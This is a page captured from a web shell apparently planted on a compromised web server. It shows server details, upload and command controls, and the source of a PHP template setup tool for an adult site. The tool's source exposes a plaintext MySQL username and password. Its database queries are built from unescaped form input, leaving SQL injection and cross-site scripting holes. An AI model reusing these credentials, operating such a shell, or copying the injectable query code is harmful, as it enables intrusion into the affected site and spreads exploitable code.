403Webshell
Server IP : 208.122.213.31  /  Your IP : 216.73.216.45
Web Server : Apache
System : Linux msd6191.mjhst.com 4.18.0-553.137.1.el8_10.x86_64 #1 SMP Wed Jun 24 11:40:24 UTC 2026 x86_64
User : WHMCS_MIA_382 ( 1001)
PHP Version : 7.4.33
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/httpd/html/playwithrae.com/public_html/setup/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/httpd/html/playwithrae.com/public_html/setup/zuzanadesigns_tools.php
<?php
ini_set('display_errors', 1);
ini_set('display_startup_errors', 1);
error_reporting(E_ALL);
//This custom tool is for #TEMPLATE 01#
// Main purpose: Create the necessary Template Fields
// Contact: miguel@zuzanadesigns.com if you need assistance

//Configuration - Confirm all values:
define('MYSQL_HOST', 'localhost');
define('MYSQL_USER', 'elevx_db');
define('MYSQL_PASS', '4X6xvNIfSgAx1k8Z');
define('MYSQL_DATABASE', 'elevx_db');
?>
<!DOCTYPE html>
<!--[if lt IE 7 ]><html class="ie ie6" lang="en"> <![endif]-->
<!--[if IE 7 ]><html class="ie ie7" lang="en"> <![endif]-->
<!--[if IE 8 ]><html class="ie ie8" lang="en"> <![endif]-->
<!--[if (gte IE 9)|!(IE)]><!--><html lang="en"> <!--<![endif]-->
<head>
	<meta charset="utf-8">
	<meta http-equiv="X-UA-Compatible" content="IE=edge,chrome=1">
	<title>Zuzana Designs Tools</title>
	<meta name="author" content="Zuzana Designs, sales@zuzanadesigns.com">
	<!--[if lt IE 9]><script src="http://html5shim.googlecode.com/svn/trunk/html5.js"></script><![endif]-->

	<link rel="stylesheet" href="zuzanadesigns_tools.css" />
	
	<!-- jQuery Stuff -->
	<script src="http://ajax.googleapis.com/ajax/libs/jquery/1.11.1/jquery.min.js"></script>
	<script type="text/javascript" src="zuzanadesigns_tools.js"></script><!--//custom jquery-->
</head>
<body>
<!--[if lt IE 7]><p class="chromeframe">You are using an <strong>outdated</strong> browser. Please <a href="http://browsehappy.com/">upgrade your browser</a> or <a href="http://www.google.com/chromeframe/?redirect=true">activate Google Chrome Frame</a> to improve your experience.</p><![endif]-->

<div class="wrapper">

	<h1>Zuzana Designs - Setup Tools (Template01)</h1>
	<div class="intro">
		<p>This tool is custom built to create the necessary template fields for the template: <strong>Template01</strong>.</p>
		<p>You MUST add it to both the <strong>TOUR</strong> and <strong>MEMBER</strong> site-areas.</p>
		<p>If you fucked up and added this to the incorrect template or site, please use the <a href="zuzanadesigns_eraser.php"><strong>ERASER TOOL</strong></a>, and you should be save.</p>
		<p>In order to use it, you have to SETUP this file, so, that means you have to edit it, and change the following variables:</p>
		
		<span class="col col-left">
			<h5>Setup Variables:</h5>
			<ul class="square">
				<li><span class="cRed">MYSQL_HOST</span></li>
				<li><span class="cRed">MYSQL_USER</span></li>
				<li><span class="cRed">MYSQL_PASS</span></li>
				<li><span class="cRed">MYSQL_DATABASE</span></li>
			</ul>
		</span>

		<?php if(MYSQL_HOST == '' || MYSQL_USER == '' || MYSQL_PASS == '' || MYSQL_DATABASE == '') { ?>
		<span class="col col-right bgRed">
			<h2 class="error">You haven't SETUP the variables in this file. You will not be able to continue until you do.</h2>
		</span>
		<?php } else { ?>
		<span class="col col-right bgGray">
			<h5>Current Setup:</h5>
			<ul class="square">
				<li><span class="cRed">MYSQL_HOST</span>: <strong><?php echo MYSQL_HOST; ?></strong></li>
				<li><span class="cRed">MYSQL_USER</span>: <strong><?php echo MYSQL_USER; ?></strong></li>
				<li><span class="cRed">MYSQL_PASS</span>: <strong><?php echo MYSQL_PASS; ?></strong></li>
				<li><span class="cRed">MYSQL_DATABASE</span>: <strong><?php echo MYSQL_DATABASE; ?></strong></li>
			</ul>
		</span>
		<?php } ?>
		
	</div>
	
	<?php
	if(MYSQL_HOST == '' || MYSQL_USER == '' || MYSQL_PASS == '' || MYSQL_DATABASE == '') {
		die();
	} else {
		$link=mysql_connect(MYSQL_HOST, MYSQL_USER, MYSQL_PASS);
		mysql_set_charset('utf8',$link);
		if (!$link) { die('Could not connect: ' . mysql_error()); }
		mysql_select_db(MYSQL_DATABASE,$link);
		
		echo '<div class="steps">';
		if( isset($_POST['confirm_submission']) ){
			setupSteps(4);
		} else {
			setupSteps(1);
			
			if( isset($_POST['step']) && ( ($_POST['step'] == 1 && $_POST['websiteid'] != '') || $_POST['step'] == 2 || $_POST['step'] == 3) ){
				setupSteps(2);
			}
			
			if( isset($_POST['step']) && ( ($_POST['step'] == 2 && $_POST['websiteid'] != '' && $_POST['sitearea'] != '') || $_POST['step'] == 3) ){
				setupSteps(3);
			}
			
			if( isset($_POST['step']) && ( ($_POST['step'] == 3 && $_POST['confirm_submission']) || $_POST['step'] == 4) ){
				setupSteps(4);
			}
		}
		echo '</div>';
	}
	?>
</div><!--//wrapper-->

</body>
</html>
<?php
function setupSteps($step){
	?>
	
	<?php if($step == 1){ ?>	
	<div class="step step<?php echo $step; ?>">
		<h3>Step #<?php echo $step; ?>: Input the SiteID</h3>
		
		<form action="<?php echo $_SERVER['PHP_SELF']; ?>" method="POST">
			<input type="hidden" name="step" value="1" />
			<p>
				<label>Website ID:</label>
				<input type="text" name="websiteid" value="<?php if( isset($_POST['websiteid']) && $_POST['websiteid'] != '' ) { echo $_POST['websiteid']; } else { echo '0'; } ?>" />
			</p>
			<p>
				<input type="submit" value="Set Website ID" name="setup_websiteid" />
			</p>
		</form>
	</div><!--//step1-->
	<?php } ?>
	
	<?php if($step == 2){ ?>	
	<div class="step step<?php echo $step; ?>">
		<h3>Step #<?php echo $step; ?>: Select the Site Area</h3>
		
		<form action="<?php echo $_SERVER['PHP_SELF']; ?>" method="POST">
			<input type="hidden" name="step" value="2" />
			<input type="hidden" name="websiteid" value="<?php if( isset($_POST['websiteid']) && $_POST['websiteid'] != '' ) { echo $_POST['websiteid']; } ?>" />
			<p>
				<label>Site Area <span class="cRed">( [[TemplateFolder]] &gt; TemplateLabel )</span>:</label>
				
				<select name="sitearea">
					<option value="">- Select Correct Site Area -</option>
					<?php
					$areas = getSiteAreas($_POST['websiteid']);
					if($areas == 'ERROR'){
						echo '<option>Wrong Site ID added above!!!</option>';
					} else {
						foreach($areas as $area){
							if( isset($_POST['sitearea']) && $_POST['sitearea'] != '' ) {
								if($_POST['sitearea'] == $area['area_Id']) { echo '<option selected="selected" value="'.$area['area_Id'].'">[['.$area['area_TemplateFolder'].']] &gt; '.$area['area_Label'].'</option>'; }
								else { echo '<option value="'.$area['area_Id'].'">[['.$area['area_TemplateFolder'].']] &gt; '.$area['area_Label'].'</option>'; }
							} else {
								echo '<option value="'.$area['area_Id'].'">[['.$area['area_TemplateFolder'].']] &gt; '.$area['area_Label'].'</option>';
							}
						}
					}
					?>
				</select>
				<small>If you don't locate your Template in the dropdown, it means you already run this script for it.</small>
			</p>
			<?php if($areas != 'ERROR'){ ?>
			<p>
				<input type="submit" value="Select Site Area" name="setup_sitearea" />
			</p>
			<?php } ?>
		</form>
	</div><!--//step2-->
	<?php } ?>
	
	<?php if($step == 3){ ?>	
	<div class="step step<?php echo $step; ?>">
		<h3>Step #<?php echo $step; ?>: Confirm everything before submitting!</h3>
		
		<form action="<?php echo $_SERVER['PHP_SELF']; ?>" method="POST">
			<input type="hidden" name="step" value="3" />
			<input type="hidden" name="websiteid" value="<?php if( isset($_POST['websiteid']) && $_POST['websiteid'] != '' ) { echo $_POST['websiteid']; } ?>" />
			<input type="hidden" name="sitearea" value="<?php if( isset($_POST['sitearea']) && $_POST['sitearea'] != '' ) { echo $_POST['sitearea']; } ?>" />
			<p><strong>Site ID:</strong> <?php echo $_POST['websiteid']; ?></p>
			<p><strong>Site Area:</strong>
			<br/>
			<?php getSiteAreaInfo($_POST['websiteid'], $_POST['sitearea']); ?>
			</p>
			
			<p>
				<label>Amount of Slides to Add:</label>
				<input type="text" name="slides" value="<?php if( isset($_POST['slides']) && $_POST['slides'] != '' ) { echo $_POST['slides']; } else { echo '3'; } ?>" />
			</p>
			
			<p>
				<input type="submit" value="I Confirm everything is correct!" name="confirm_submission" />
				<br/>
				<small class="cRed">By clicking the above button, the script will insert all the custom Template Fields. This is irreversible, so, make sure you have your database backed-up before doing this.</small>
			</p>
		</form>
	</div><!--//step3-->
	<?php } ?>
	
	<?php if($step == 4){ ?>	
	<div class="step step<?php echo $step; ?>">
		<h3>Step #<?php echo $step; ?>: Success!!!</h3>
		
		<form action="<?php echo $_SERVER['PHP_SELF']; ?>" method="POST">
			<input type="hidden" name="step" value="4" />
			<input type="hidden" name="websiteid" value="<?php if( isset($_POST['websiteid']) && $_POST['websiteid'] != '' ) { echo $_POST['websiteid']; } ?>" />
			<input type="hidden" name="sitearea" value="<?php if( isset($_POST['sitearea']) && $_POST['sitearea'] != '' ) { echo $_POST['sitearea']; } ?>" />
			<input type="hidden" name="slides" value="<?php if( isset($_POST['slides']) && $_POST['slides'] != '' ) { echo $_POST['slides']; } ?>" />
			<h3 class="cGreen">Custom Fields Added!</h3>
			<pre><?php insertCustomTemplateFields($_POST['websiteid'], $_POST['sitearea'], $_POST['slides']); ?></pre>
			<h3 class="cGreen"><a href="zuzanadesigns_tools.php">Add Custom Fields To Another Area</a></h3>
		</form>
	</div><!--//step4-->
	<?php } ?>
	
	<?php
}//function setupSteps

function getSiteAreas($websiteid){
	$link=mysql_connect(MYSQL_HOST, MYSQL_USER, MYSQL_PASS);
	mysql_set_charset('utf8',$link);
	if (!$link) { die('Could not connect: ' . mysql_error()); }
	mysql_select_db(MYSQL_DATABASE,$link);
	
	$sql='SELECT * FROM `areas` WHERE `websiteid` = "'.$websiteid.'" AND `TemplateLanguage`="php" ORDER BY `Id` ASC';
	$result = mysql_query($sql, $link) or die('ERROR: '.mysql_error());
	$num_rows = mysql_num_rows($result);
	if($num_rows > 0) {
		while ($row=mysql_fetch_assoc($result)){
			$item['area_Id'] = $row['Id'];
			$item['area_Label'] = $row['Label'];
			$item['area_TemplateFolder'] = $row['TemplateFolder'];
			
			//Lets now check if this section already has any of the custom templatefields, for example: "zdtxttourtitle"
			$sql_check='SELECT * FROM `plg_templateconf` WHERE `websiteid` = "'.$websiteid.'" AND `AreaId` = "'.$item["area_Id"].'" AND `Name`="zdtxttourtitle"';
			$result_check = mysql_query($sql_check, $link) or die('ERROR: '.mysql_error());
			$num_rows_check = mysql_num_rows($result_check);
			if($num_rows_check > 0) {
				$item['already_exists'] = 1;
				//If this templatefield exists already, do not return it to the Select Box
			} else {
				$item['already_exists'] = 0;
				$areas[] = $item;
			}
		}
		return $areas;
	} else {
		return 'ERROR';
	}
}//function getSiteAreas

function getSiteAreaInfo($websiteid,$sitearea){
	$link=mysql_connect(MYSQL_HOST, MYSQL_USER, MYSQL_PASS);
	mysql_set_charset('utf8',$link);
	if (!$link) { die('Could not connect: ' . mysql_error()); }
	mysql_select_db(MYSQL_DATABASE,$link);
	
	$sql='SELECT * FROM `areas` WHERE `websiteid` = "'.$websiteid.'" AND `TemplateLanguage`="php" AND `Id` = "'.$sitearea.'" ORDER BY `Id` ASC LIMIT 1';
	$result = mysql_query($sql, $link) or die('ERROR: '.mysql_error());
	$num_rows = mysql_num_rows($result);
	if($num_rows > 0) {
		while ($row=mysql_fetch_assoc($result)){
			$item['area_Id'] = $row['Id'];
			$item['area_Label'] = $row['Label'];
			$item['area_TemplateFolder'] = $row['TemplateFolder'];
		}
		echo '&nbsp;&nbsp;- <strong>ID</strong>: '.$item['area_Id'].'<br/>';
		echo '&nbsp;&nbsp;- <strong>Label</strong>: '.$item['area_Label'].'<br/>';
		echo '&nbsp;&nbsp;- <strong>TemplateFolder</strong>: '.$item['area_TemplateFolder'].'<br/>';
	} else {
		echo 'ERROR';
	}
}//function getSiteAreaInfo

function insertCustomTemplateFields($websiteid,$sitearea,$slides=3){
	$link=mysql_connect(MYSQL_HOST, MYSQL_USER, MYSQL_PASS);
	mysql_set_charset('utf8',$link);
	if (!$link) { die('Could not connect: ' . mysql_error()); }
	mysql_select_db(MYSQL_DATABASE,$link);
	
	$templateCategoryName = 'Custom Fields ZuzanaDesigns';
	
	/* NUMBER OF SLIDES FOR SLIDER - - - - - - - - - - - - - - - - - */
	//Insert the Slides
	for ($x = 0; $x < $slides; $x++) {
		$field['Name'] = 'zdslideimage'.$x;
		$field['TValue'] = '';
		$templatefields[] = $field;
	}
	
	/* SLIDER TEXT - - - - - - - - - - - - - - - - - - - - - - - - - - - */
	
	$field['Name'] = 'zdtxtslideroverlay';
	$field['TValue'] = 'Lorem ipsum dolor sit amet, consectetuer adipiscing elit, sed diam nonummy nibh euismod tincidunt ut laoreet dolore magna aliqua  erat volutpat. Ut wisi enim ad minim veniam, quis nostrud exerci';
	$templatefields[] = $field;
	
	/* SOCIAL MEDIA - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - */
	
	$field['Name'] = 'zdsocialtwitter';
	$field['TValue'] = '#twitter';
	$templatefields[] = $field;
	
	$field['Name'] = 'zdsocialfacebook';
	$field['TValue'] = '#facebook';
	$templatefields[] = $field;
	
	/* GENERAL - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - */
	
	$field['Name'] = 'zdtxttourtitle';
	$field['TValue'] = 'ElevatedX Template 01';
	$templatefields[] = $field;
	
	$field['Name'] = 'zdtxtlatestvideos';
	$field['TValue'] = 'Latest Videos';
	$templatefields[] = $field;
	
	$field['Name'] = 'zdtxtlatestphotos';
	$field['TValue'] = 'Latest Photos';
	$templatefields[] = $field;
	
	$field['Name'] = 'zdtxtmodels';
	$field['TValue'] = 'Models';
	$templatefields[] = $field;
	
	$field['Name'] = 'zdtxtjoinnow';
	$field['TValue'] = 'Join Now!';
	$templatefields[] = $field;
	
	$field['Name'] = 'zdtxtdownloadvideo';
	$field['TValue'] = 'Download Video';
	$templatefields[] = $field;
	
	/* NAVIGATION - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - */
	
	$field['Name'] = 'zdnavhome';
	$field['TValue'] = 'Home';
	$templatefields[] = $field;
	$field['Name'] = 'zdnavhomesmall';
	$field['TValue'] = 'main page';
	$templatefields[] = $field;
	
	$field['Name'] = 'zdnavphotos';
	$field['TValue'] = 'Photos';
	$templatefields[] = $field;
	$field['Name'] = 'zdnavphotossmall';
	$field['TValue'] = 'latest updates';
	$templatefields[] = $field;
	
	$field['Name'] = 'zdnavvideos';
	$field['TValue'] = 'Videos';
	$templatefields[] = $field;
	$field['Name'] = 'zdnavvideossmall';
	$field['TValue'] = 'hottest previews';
	$templatefields[] = $field;
	
	$field['Name'] = 'zdnavmodels';
	$field['TValue'] = 'Models';
	$templatefields[] = $field;
	$field['Name'] = 'zdnavmodelssmall';
	$field['TValue'] = 'sexiest women';
	$templatefields[] = $field;
	
	$field['Name'] = 'zdnavblog';
	$field['TValue'] = 'Blog';
	$templatefields[] = $field;
	$field['Name'] = 'zdnavblogsmall';
	$field['TValue'] = "see what''s new";
	$templatefields[] = $field;
	
	$field['Name'] = 'zdnavjoin';
	$field['TValue'] = 'Join Now';
	$templatefields[] = $field;
	$field['Name'] = 'zdnavjoinsmall';
	$field['TValue'] = 'become a member';
	$templatefields[] = $field;
	
	$field['Name'] = 'zdnavmembers';
	$field['TValue'] = 'Members';
	$templatefields[] = $field;
	$field['Name'] = 'zdnavmemberssmall';
	$field['TValue'] = 'log in here';
	$templatefields[] = $field;
	
	$field['Name'] = 'zdnavfavorites';
	$field['TValue'] = 'Favorites';
	$templatefields[] = $field;
	$field['Name'] = 'zdnavfavoritessmall';
	$field['TValue'] = 'your favorites';
	$templatefields[] = $field;
	
	$field['Name'] = 'zdnavlogout';
	$field['TValue'] = 'Log Out';
	$templatefields[] = $field;
	$field['Name'] = 'zdnavlogoutsmall';
	$field['TValue'] = 'see you soon';
	$templatefields[] = $field;
	
	/* FOOTER - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - */
	
	$field['Name'] = 'zdtxtenteryouremail';
	$field['TValue'] = 'Enter Your Email';
	$templatefields[] = $field;
	
	$field['Name'] = 'zdtxtsubscribenewsletter';
	$field['TValue'] = 'Subscribe to our monthly newsletter and be!';
	$templatefields[] = $field;
	
	$field['Name'] = 'zdtxtallrightsreserved';
	$field['TValue'] = 'All Rights Reserved.';
	$templatefields[] = $field;
	
	$field['Name'] = 'zdtxtcustomersupport';
	$field['TValue'] = 'Customer Support';
	$templatefields[] = $field;
	
	$field['Name'] = 'zdtxtcustomersupporturl';
	$field['TValue'] = '#';
	$templatefields[] = $field;
	
	/* MODEL PROFILE - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - */
	
	$field['Name'] = 'zdtxtabout';
	$field['TValue'] = 'About';
	$templatefields[] = $field;
	
	$field['Name'] = 'zdtxtturnons';
	$field['TValue'] = 'What Turns Me On';
	$templatefields[] = $field;
	
	$field['Name'] = 'zdtxtupdatesfeaturing';
	$field['TValue'] = 'Updates Featuring';
	$templatefields[] = $field;
	
	$field['Name'] = 'zdtxtreadmore';
	$field['TValue'] = 'Read More';
	$templatefields[] = $field;
	
	/* JOIN BLOCK 1 (customstuff) - - - - - - - - - - - - - - - - - - - - - - */
	
	$field['Name'] = 'zdtxtjoinblock1top';
	$field['TValue'] = 'Lorem ipsum dolor sit amet, consectetur adipiscing elit.';
	$templatefields[] = $field;
	
	$field['Name'] = 'zdtxtjoinblock1bottom';
	$field['TValue'] = 'Vivamus sed rutrum risus, quis sodales dui. Nullam et sodales ante. Proin ac orci eget sem convallis dapibus ut nec ipsum';
	$templatefields[] = $field;
	
	/* CALL TO ACTION LINKS - - - - - - - - - - - - - - - - - - - - - - - - - */
	
	$field['Name'] = 'zdtxtcalltoactiontop';
	$field['TValue'] = 'Lorem ipsum dolor sit amet, consectetur adipiscing elit.';
	$templatefields[] = $field;
	
	$field['Name'] = 'zdtxtcalltoactionbottom';
	$field['TValue'] = 'Vivamus sed rutrum risus, quis sodales dui. Nullam et sodales ante. Proin ac orci eget sem convallis dapibus ut nec ipsum';
	$templatefields[] = $field;
	
	/* TRAILER PAGE - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - */
	
	$field['Name'] = 'zdtxtremainingviews';
	$field['TValue'] = 'You have <span class="views_value"></span> free video view(s) remaining.';
	$templatefields[] = $field;
	
	$field['Name'] = 'zdtxttrailerlimit';
	$field['TValue'] = 'You reached your limit for free trailer views.';
	$templatefields[] = $field;
	
	$field['Name'] = 'zdtxtcategories';
	$field['TValue'] = 'Categories';
	$templatefields[] = $field;
	
	$field['Name'] = 'zdtxtstarring';
	$field['TValue'] = 'Starring';
	$templatefields[] = $field;
	
	$field['Name'] = 'zdtxtdownloadmovie';
	$field['TValue'] = 'Download Movie';
	$templatefields[] = $field;
	
	$field['Name'] = 'zdtxtaddtofavorites';
	$field['TValue'] = '+ Add to Favorites';
	$templatefields[] = $field;
	
	$field['Name'] = 'zdtxtmembersonlywarning';
	$field['TValue'] = 'Member Only Feature.';
	$templatefields[] = $field;
	
	/* NAVIGATION - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - */
	/* NAVIGATION - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - */
	/* NAVIGATION - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - */
	/* NAVIGATION - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - */
	
	//insert into the database:
	foreach($templatefields as $templatefield){
		$sql_insert = "INSERT INTO plg_templateconf (websiteid, AreaId, Name, TValue, TemplateCategory) 
			VALUES ('$websiteid', '$sitearea', '$templatefield[Name]', '$templatefield[TValue]', '$templateCategoryName')";
			mysql_query($sql_insert) or die( 'ERROR: '.mysql_error().'<br/>SQL==== '.$sql_insert );
	}
	
}//function insertCustomTemplateFields
?>

Youez - 2016 - github.com/yon3zu
LinuXploit